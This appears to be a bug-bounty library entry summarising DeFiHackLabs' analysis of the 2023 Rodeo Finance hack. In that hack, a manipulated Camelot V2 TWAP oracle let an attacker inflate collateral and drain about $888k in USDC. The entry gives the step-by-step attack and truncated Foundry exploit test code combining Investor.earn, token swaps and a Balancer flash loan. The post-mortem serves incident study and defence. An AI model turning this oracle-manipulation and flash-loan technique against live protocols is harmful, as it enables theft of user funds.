# Rodeo Finance: TWAP oracle manipulation drains USDC pool

Rodeo Finance's LP pricing used a manipulable Camelot V2 TWAP oracle, letting an attacker inflate collateral and borrow USDC to drain ~$888k.

- Payout: Real-world hack
- Severity: critical
- Program: RodeoFinance
- Analysis by: DeFiHackLabs
- Disclosed: 2023-07-11
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-07/RodeoFinance_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230711-rodeofinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm technique:chained vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** Camelot V2 TWAP oracle used by Rodeo Farms LP pricing
**Root cause:** The TWAP oracle averaged the last 4 price updates (every 45 min) from an unreleased ETH-unshETH Camelot pool, which could be manipulated via multiblock sandwich attacks. Rodeo Farms used this faulty oracle for LP pricing, allowing bypass of the Health Factor check.
**Steps:**
1. Attacker manipulated the Camelot V2 TWAP oracle for the ETH-unshETH pool through multiple transactions (e.g., `0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c` and `0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e`).
2. Called `Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500))` to open a position using borrowed USDC from the USDC pool, bypassing the Health Factor check due to manipulated oracle price.
3. Swapped unshETH to WETH via CamelotRouter using `swapExactTokensForTokensSupportingFeeOnTransferTokens`.
4. Swapped WETH to USDC via CamelotRouter.
5. Swapped USDC to WETH via UniswapV3 SwapRouter `exactInput`.
6. Took a 30 WETH flash loan from Balancer Vault.
7. In `receiveFlashLoan`, swapped flash-loaned WETH to USDC via CamelotRouter, then swapped all USDC to WETH via UniswapV3, and repaid the flash loan.
8. Profited from the arbitrage between manipulated and restored prices.
**Exploitation:** The attacker first manipulated the Camelot V2 TWAP oracle for the ETH-unshETH pool over multiple blocks. Then, using the inflated collateral value, they borrowed 400,000 USDC from Rodeo's USDC pool via `Investor.earn`, bypassing the Health Factor check. They swapped the borrowed USDC and other assets through Camelot and UniswapV3 routers, and used a Balancer flash loan to amplify the arbitrage, ultimately extracting ~$888k.
**Escalation:** Used a Balancer flash loan to amplify capital and performed multiple swaps to maximize profit from the price discrepancy.
**Insight:** When a protocol uses a TWAP oracle from a low-liquidity or unreleased pool, check if the TWAP window can be manipulated across multiple blocks (e.g., by sandwiching updates) to inflate collateral and bypass health checks.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test calling Investor.earn and swaps**

```
function testExploit() public {
        // Begin with the specific amount of unsETH (info about amount taken from the above attack tx)
        // the attackers manipulated the price of TWAP Oracle through multiple transactions
        // such as https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c
        // https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e
        deal(address(unshETH), address(this), 47_294_222_088_336_002_957);
        unshETH.approve(address(Router), type(uint256).max);
        WETH.approve(address(Router), type(uint256).max);
        USDC.approve(address(SwapRouter), type(uint256).max);

        // Vulnerable function
        // Vulnerability can be forced to swap USDC -> WETH -> unshETH

        Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500));
        // Swaps on CamelotRouter
        swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH));
        swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC));
        // Swap USDC to WETH on SwapRouter (UniswapV3 router)
        swapUSDCToWETH();
        takeWETHFlashloanOnBalancer();
```

**Balancer flashloan callback swapping WETH/USDC**

```
function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        // Swap flashloaned WETH amount to USDC
        swapTokens(amounts[0], address(WETH), address(USDC));
        // Swap all of the USDC tokens to WETH
        swapUSDCToWETH();
        // Repay flashloan
        WETH.transfer(address(Vault), amounts[0]);
```

**Camelot swap helper function**

```
function swapTokens(uint256 amountIn, address fromToken, address toToken) internal {
        address[] memory path = new address[](2);
        path[0] = fromToken;
        path[1] = toToken;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), address(0), block.timestamp + 100
```

